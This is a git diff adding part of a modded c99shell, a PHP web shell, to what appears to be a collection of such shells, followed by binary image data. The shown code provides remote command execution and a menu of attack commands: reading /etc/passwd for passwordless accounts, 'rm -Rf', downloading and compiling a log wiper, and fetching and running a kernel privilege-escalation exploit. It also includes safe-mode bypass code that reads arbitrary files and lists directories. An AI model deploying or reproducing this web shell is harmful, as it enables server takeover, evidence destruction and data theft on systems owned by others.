+"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> + + + + + + + + + + + + + + + + + + + + + + + + + + +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> PSych0 | <a href=""><font color="#FF0000">Cuz N0wH?R? iS s?cu? ?enough</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> diff --git a/php/PHPshell/c99_locus7s/c99_locus7s.jpg b/php/PHPshell/c99_locus7s/c99_locus7s.jpg new file mode 100644 index 0000000000000000000000000000000000000000..f3c957611d787ebd4b68c79cb4a587ba5b64a308 GIT binary patch literal 82984 zcmeFZ1yo#Jn<iRVfM9{(5`qPH*8&nexH}0B0fKu92_$&%-~=bQyM^EuTncw63NM`E z*4N!@=F8Xr?dh4hf8XhzAJ$n=i^F;MyPy3&`?Y-@<{nl7PZVVpWC2J>NB}d$H{byb zcnQFG^a%YC8U{K#IwmH@V{AekY%DBnGJ>aggjD3z&#1^LDWB7GFg~Ycqobr`5@crM z;^yPyqh=Hq7vd4);N|1_;~_|xn3&jD*rYf(q&zf~G(7*)Uk{xCd<<l26c`E;EdUuG z2?ZbN;U|C^06;=RjP{QK|H~H=G72i%BXkVR$5@CP>Yf0Qkx)>OQBly)P*D+g`y>7i zK*dKRpy8H!^i=%~I;}GyPhjjf3_9tmE+UQbV|w1VE<u=&iAhMw$QfQRGBLC8@e2qF z35&dZB_k^*ub`-@rLCi@r*B|xVQFP;V{7N?=I-I?<?R#vF(mZU=dkd&_=Loy<gY2I zIk|cH1%*Y$->YkC>*^aCo0@-g|Lp1Q>mL}Ln4FrPnVp+oSX<xN+}hsR-P=DoJv)b8 zTwYz@{Gk^T0Og<6`fr;3MK64WUdX7ZD5&Uv=!JyriMUYkQPF6)9}!5YqrY)}O3M?7 zK`0&jt*Q%?j#uND=&j56V`6%~HHMQvRQo5*{(XuC{V!?u-xT}rdMyC3QIHVeq2L36 zfHTf3ee#%llv2<UbnF4}EEi5JoBIHegizn!x;_B<N+NTrZrZ3fO<i~|_#Oa>{(aUD z04zH72SB!a%>8}S17Kqc^rL?Yv`c0F0023Hu3*jy>M$Q*fBWXM-mKG##)AjInuQ(k z9JlHL(9r<A^NIOgVmVK^M1|Zn$zt%_BwYKFD(j9dN)8@41H8Q0c>u&9B>gUKx>sFp zdiMc9d;7(g95mRzQS$%@i7k2n{1WMd!xtX_C;PzP1vU;c{j&;q=Bn4aiyolkYJTb) zbiD__3OEZcF88}YT{0PJ-Q2r~L#YGX2LQ`$^w?jf1R?4#@-~=q_s>DG{{7-nz%5hf z`3Jy{fj`d(^>MX3=YJPyWJ&065_8JggkDv6S8^x{ywVp*{tW_^{NEvnDH(^$Tt5F3 z0*o5JBQP-4@oyurZ~7Yoe-`*R5Xeya9f9A({Y?boi$T8u@Mn2{1Asrz2LgbMKOz4A z4FJC_Ndy3YM*MF8@ISDDe+|HYun92!+2Z~l0Q?E?zXiZ=EAkHu_zmyBX#js(kpD** zz<+59>OP*TmMUqj5|yLXU#b?NB%)oG#t@HEa45UVIekf0UR<iO>c~p;vs4n+DRKU1 z`VsgGTmFTfzXNSgI_@q`@a|#!+D$We>ekPrAzCxfT?EmR*0t$<R<rE>Oy3lLK>a(p z{+Ua3Od~Dh{C$`$J>ujhOUaf-m7dyS(r0d0{ws$5D?$9%U!Q*==s#`Be}ka^3v7}9 zdkn4e7cb>sGxTqJ7Q#vS&%Q<eXS0C+>vzcCeA2(MMgH#@z+c_;e{BH&(*XS0XKPkQ zF=?Es9XPU%8L-(r{UIgxO}<n3IwRWqo^_D*mmfaD10UJB_j>@yl#BV3J9iKCGK-6N z=LYkBd=nBMUNh;W<<{W{JU@8=1aiXpbom9MeEGY_?#pO-Vff$F0J{>GDmE3&Z+0I5 zV`IZ7L@XX~L3n~Uj8NTF#s9s!3?bk@_(CdKJG#bHegK#VX5FYVc!B_+%_1qp$9NEp z5#y(hO$NbxuVv7lSmMMT{mF~uHC4*K?{;Uk0ufHM#Cr3i@}#7IRKSfdoM83=@Ua1o zKUOJoF~;lh0I25}qjQ8V33_Lpk2$qNTW5zJ0HmPJ637DpHVr&C&}|0&SiO4l01(%_ z2Q74LQa%769Xo|fw+{fQdqtK69YjFl`Bh+vUGuwMd(mXss6irnR5h>X`2GA(G<3JE zWog|khYoV>+5J}h9{|Y75ui<8rw4%92=D=*KvOERc;a*y>hJ(KAS-+T?9uao(s2zT zRF_2ikG?$HvFqy^kC(<4$|lwbAn)bK$QE*eW$(3jB`_WUu~ujBc2LeNvDrfR;Ie6| z*xh(tNMdUTpWOq%dUxd<z3u_fE_bD_p>BfC*V56J#W@1p2Khb!cn56CVrs9P;DI6) zaO@34L`vvi*bO?zoCY0RQzNFjqEuqFFQ;B&a;@VAb-&|^H|7BlseX}#gNPX!wI2Xo z>7cu}0o=R)_EWO4eOS$*5)_EIOQqxi5G?cnxay&{Jzlv-b~n8v>w5t7GNC*RpSx8J zeE{q}{r&)09R<R<<re$|5y4!B?gQYFGa@(*2mE6w|Cp73td+m71<@VfC7tZgH8)4k zFteA_^2(PFhOD_8eZ-y{!VQ>?IiM1Rhb~dT?@d4_;W7UMqefQ!?RH?L+sX}vo6{}K z8)5P+z<-N*ve8atddfy?3r4p%-h_`%;EC{C>e@gzqCR7zn7d?V>+rw(ovL#GIu?NW zxZz(&<}U;zNqVl+_g9kno$J&di4#@*h422tm`E`){}{^M+kec;Ki0}WZ`1#OSrF_u zXNdhTR@=h)xGf<SZN9RhF^Ch0W}RXAcFx2F-)pZINWMM{TFO7Y8{e_&IE=dn?aBYj z31{6IOBREu9xoRc&nbXVxfxQ0A{UJo<($Y|Fc-*W)l|@>(zV5<f9xoAqz;~PQ~hMG zn-Vg^n<BtlwQoB9^tsG!33s{oR`XY3wQoGz40(M9UoWoY3I**Gy>g#S?n8TB<rC}B zGV?epJT(yBtL6#gD!0U_o=PLa!AD}0cTs)fKC`oirjY*Ih`oF7bmFYFw6uHVBSYU3 zLqiJNSE4(dDfDzSTC@$~!a|fVNO<aKM3D`7gr1!TTxO!^ZQ67tM*o%q(JsldSd}Rz zq`q1Fe&plX{<g2ESHw3xT+A*L!l&^K;*htHzEr9QKom#jnUSrZc(HB4f_$W_;CvRs zL9fto9o$)tn^~Dvg8LAj!&{-(c3wS1kedfUv>$&l*x+*ohnX)_mYJW<E;5Et-BPWX zt{l06GSX+f^lGU4Qo!dOXu;WNz_vop^=VAq@X11Se&%~aPZS!jy+G;NqXz)z*&Q0( zbO&x4wn?a4)^qZ#7t%+b&>XceP{^i>Z!2hOZAm<QB^r}Ntl}Khy-jxcqQ+g7h~d8b zwVzU<p%KVp#GbxhhlJpIgYF&M+19|DJL^KRRNZkPqzGCTBaqX41hAjUq;8#Y<S6(1 zl%|+U;c+^&ZC+c{i9Xpuw73VSn}ns^dQ@g^`#ZD>Ug)$%&)8Z7ZNAqJFaEIUq~-(r zZr=dwxc)#3??4O{?|E%a5-d+I6^;Abm+Q$q$-rHs$gDSU{w!_2AF9grZ6xUA-OJ?p zXYXjU%#)<)J?uk;ks22<A!h*Z9ilY6=vvvjhRQ5Wb2Bl{3uYQ_h1#WKF4<*yDvInK z^mv6mUy$JgAnvv|X=T<4A&oYt&B4zy5ASgl-&HW2g}Rb7wCO@$LVG2v<`BH?w()^= zxQ^8j%d%ELBpLj=9zws-Z*!M|r+0lj2R~l@bqVjNfQ;AHna;xQedfr;Poj*Z3*AiK ztJ5YiLmGtdnIj5J#D5Y)a4j>r>Fpc+2Bm}{eJ^JkIPyEf*gy0YzMd$HlRQoH7Nj|R z<aOt~QfAPQw9c-iWNs@Mi}O9N{M}r2r4A{&<B>|bF4oT}_4W)^{`LK$2FuxFc)PVA zZoIEEp@tj*QJRE_rJ5<#d(45NveNvfI4v~ILD@LzYYIuok>TKMeX~_+rET?qJ9=8& zvBGUzUyuk&-%K{K?(uF7b+r-y$YzHG?Yr-|-W!qeIwb?k7t2FOpn`&kr;NUJZOO~9 z+dAH-ubboMIi!0l`{i}wEM9L^Xt1<$wf)Qy>SU7=t5gr*@fO2Hb4&Ga8`e4Q^CpZp zpyd`AvDoUSJT7b48<nvt_{4jk<+9kfO?)O*=emV7nSEUYRS}9Zh(BK$E?Q6A%$rSu zgSOy?2^{ar*~Myj0M$7CgI$TAs!+q-JV-PR2Hd`I2XQBTIR;|G?pS@*CKvYYmGmZT zO5b3AA97&j*@@F5qLQa#5$EXja%;IN2)Eg6)Yj5;V(!I+gh<r3*BqKw?14@hA)pow zNTGiP+|)VtQL?WqAeG6JW~pHtP%i>S-GmdVG=qs^%_psr77hig2_8ip94c)(*9J!W z_m}H9Ec>PX%5@ah;L_U3HzqH4u|0nP2-r%uepggL{3dv#f7h!nL-fo2KRkN<dqm4V zctOBT{niISMb>WJ&h&58Pizi{awc!bi1I%G+>#L~14Y>pL~=yJuW7SZH^)l^{Icb^ zF4ed_x}g#>t^@>Ih6~zD=Dr__ZE{U78k=a4m|io~=fLLn^1d4*WHW1hF9GH$X)F@M zxQRR`6YAP-Z(ji4?7>075<7@$V|mBcRVGlz7dO#<P09EzT&rdL(7{ljiQUScPrmFX z1!XXDGy|a5e=|j_d8Mlw?H11dNNt(<RBMq<Be7a&0IlZK{kj=@r-Gk*W*Kx096Ljw z9fIRsKU0$N>DgSyZmMlI>_7hsg|@z;i#bq?VAa1AR?V0!9uxQ4<yP(Ev6-+X|EOc& z5t<`f=WEzvcx%o|BeYQUlDvM={S1>%T$yzb1S!0RV|yTY-1JmzG`z!!Bd(r+p(pVm z`I9I^G?ajQFM*o?bo4FD?i?cOgeA9T3q9nhjTl*ARiYZIOXp!9<*EA464ro?m-2Pz z*LK>t07HrVDNE+|;NjT7t#;`z@A0s=XXdQiG`mBY**D?SC)A4*piM-U;29#>)z4c2 zf~}m--mZkWW%35{`vbd^b#xcrRV~<5%7{DwY$VI0v*TK@LK!mye6<;_!Dr<6!2Y!( zHpg>Fu#>;Nc<Czg+f1HFq`j`~lG#f81{1=Xw4Mg?cORa`PGE6XGDVY-c*uY0ZNsFJ zC%Y_yr2!usEnWSXRZ5oDw+bCOz)U6m#RY7`Z=%s%L}t-It+@9ArEI$C)+~d5kcz37 z`PaY^qr8%ZkKwLVdz*kVLLLB`TX%Et3!!`aF+Z!yhKL=#6-6b2PRRwmmjvCJn3&U5 zvtm17!uYn3i5-3!pPkR_cU+kSGuhGpwENrm?`8y@#Z#4p>Alm;L$njHGbyW%7RtS5 z#-t|^6@A9~mfCUlTs?=5>h*egf>lLHw)eqa&sr+EC(E=uDjID~ZxH6n+p}9?e-e`Q zsdleb!J%kjw|-`bs^P*-rx@8N3<GWSiFbg{VP~I89r|ZBz7#*+bw~@AGS2ysdyO%V z@2kMP*NJ#d$(MmK{&%p;ygJnKiKClLK^b4P?UFV0t6=kdiHx=BaZQVrcR>u@N?T8e z<un_t4lK;cC@+g@w~q(++n<UYU7&*_79$=2HJ@=Bl3se7SSR1M&G!Ng&?ax-9jloN zng;rdD~tJc8LhJ<c$c&xST&xjxXQkGpZKDX%I_!&hH%5YeXQGV?WBJ#k{FkpFKeYo znv?BaX`^^M6=dNV&nv7IwW>NXOvSxRB8A?ya>>Nz&<NrO@O0i})}E`X*MV<V?qWof zyA5D%!^D#|sR^!&1T<k#O1`gTqEci+&k}LJ<?J`hNA4R~ZheUtm6$}4YoT&(#D-C4 zctZJ;(#mZN>Z5O{D#8R7RlPAg&e+b*9PZb?1Po(teBh1TXvd498SlwVaeY_+9-@n^ z&yT_881<7y$uCb}8!1K@DQ0cictX;wE8AXB#JeL{z9XrhmAf%|et`>Jvk}|OY`dnD ztxJnQp%bOe2iUzCqfqZeuxMAWv26JB*ml7pHGx~e@IBkQ9Fit|x;y<26|Yj~$()S@ z+b>v#q57l&*=CAg?N?Dlp}`V)^v76Fqy|X0zc0hW+LMK;Udm0K$CFOgLRxsAGoTIQ zJUejjUFDt9;?i4MdMP$@Q8Pl+9GbEbS>220L6?0q>shgTBT#am5NonKLk``XY=ac! zSk!3`u#C}IFN{Q|9Q6|cgE=U@(0|^zk5*WPxjxQMti6ep#|jm#&lLh^3O~1AE`US) zW0mb<yA5m%dcWCRdKhTKMyd(OZ5)=y-}AV1nwjbN`*MD)ixL69I?nc2Qp9}ADKY8H z{-ekFtsbSfjp`9^=I%BBHqX)?e$es4@{nKL5ebhmXTsIH&7Q5DSTN{HTa?)lv3AN{ zwNoUP*Ba~ej<OE5@mws=7<s!Yq0mam%92J>M%!L4JgO-$WFLXYgKSZrl(1clk;i!h z2)HwGd`#NbeKGG?*I7%tPz?&|&17mnX@)~xNvT_r&<{gJc?nbtSVb=Q#wDm$=3kV( z`EF;>l6QIfq7dsda=mm2XVWHQG2mWBShb>`<mCvf^w6s*cPf!vwYr8g_IE@ETbD(1 zq+f&>8NcnNLhrZ>ZODNau#EfB*rNTDKKz<5#xF0t30E5xUdYCPBt1EN0;84fMv818 zxmSZsvatmU{`OYpwe=m*7Mx8D4lKx<&R?<vuO@w-8)Q1Uua)`qj+Y;vD=RL~1K9cM zqdz09T7K?x*1xzoTSCMY4%qR^Gz+o4`6)5kDDfsS>m?EFrn1xScuxev`HLdC_Reet zmz^5{Up$}31{k+)h5!d^+DVP~>P32{N8sPk(&*`5O@gI2T>Sz{<U5PeYC<RjTqFsT z%D#ycSW_^BYzlINm25?f<O%bX$*{rghv=H=kv@|g4&`iz77fiodW?~4>xqx6v!wB8 z+i)SK#xK`L+P0I6Wt^;02Pj^@7Eq*-MN0O1C*LC3t0KP&01%Dcy|URlnJIQh>#6H$ z``P|Z!*DdNgn8q8d~hFPau047OPo%5%I-wVP4uzA4isvczk*(!7__|j!+e~BueGdS zO$RT~OdNSG<II#?cn)urYsP$a5z#HGyNE5C>v;fRQeV6yAr^Tbx}rA$tF-7eO(b5V zn!o=1F2*F7$X3kPvQTvuDlXCGQetU^GoJzarI!(J{VQQLNLFMTY>3D*WnDj=cmT|* zo{4?O!@3IE9b`XeS24%>x`n?W52ke24D8x`?{AmjK@xB3AIhq*eC8c<03qXXq|$XV zy45YSH=+AgcHU;-%@Ctzc_O#48Z>iFXRS`!y<<<1LfVf4F)^)x@OphRX`L>olizBN z_kOk87H}6(r0N980TnA7-kiN%zH&95bch<ch$vd<%tK+jC=bWn8z3zmJXdx>xF$^} z=m86cX$nyG^IN8)M_aK^@y<%3odc)H=R0bT-SeXmomR45mM5f%AA0yS<k_Nyp6Rm{ z&$4jGs3hvlEPLE(+&gk)aU!%l#-lBnNfjtAG8l5TELb)IcW3eFnOVQ;92h`BiS{nP z{df2ZYFEDO?Ga98`^_O+2?A%fn&6+I`@FpUJ(B8A9PV2pJ@+&+CjC1G5z^2dG=x}K zXAc}&S&j`&TCPC-h~kae&)w5bYG`g#WCr-=Zf>kifUK37y{zqHadw{a8i+?h`Um~3 zH2~-SRdA+A`dKEo#su8-7&LSunFzf{6nuc4r}7)#`SLlk-c&)~nFika07O%3n^p2| zVkb3Ko9&Mk)6}uZTpr2KN1pHG+j+70MmUk!PD=SC*~QZ-vo5h=Z9SssvNFS<YXH48 z2HTPQfu4vV>O)UiQAO%L4!rSdP_Om<Op4b1<RcX56}_AjKY0lHbR7mt-hj&`F6$fb z%_=+i+Vj`_Fn81JRiCA!dww<%Qq|(i*k-7|Fd>L>_IV&m?;Nce1!`>l6APjga(tg4 zsJ67Ew-?*x&PRax6lDCZ_ocbG6kY0c(Av%wr+eYz{!E-vL~ZKwg0U<u1i5HUtz9?$ 